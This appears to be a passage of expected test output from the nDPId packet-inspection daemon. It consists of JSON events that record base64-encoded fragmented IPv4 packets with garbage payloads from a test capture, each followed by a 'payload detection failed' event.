+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866433,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866511,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866523,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866623,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866790,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866802,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866815,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866828,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866869,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":866940,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 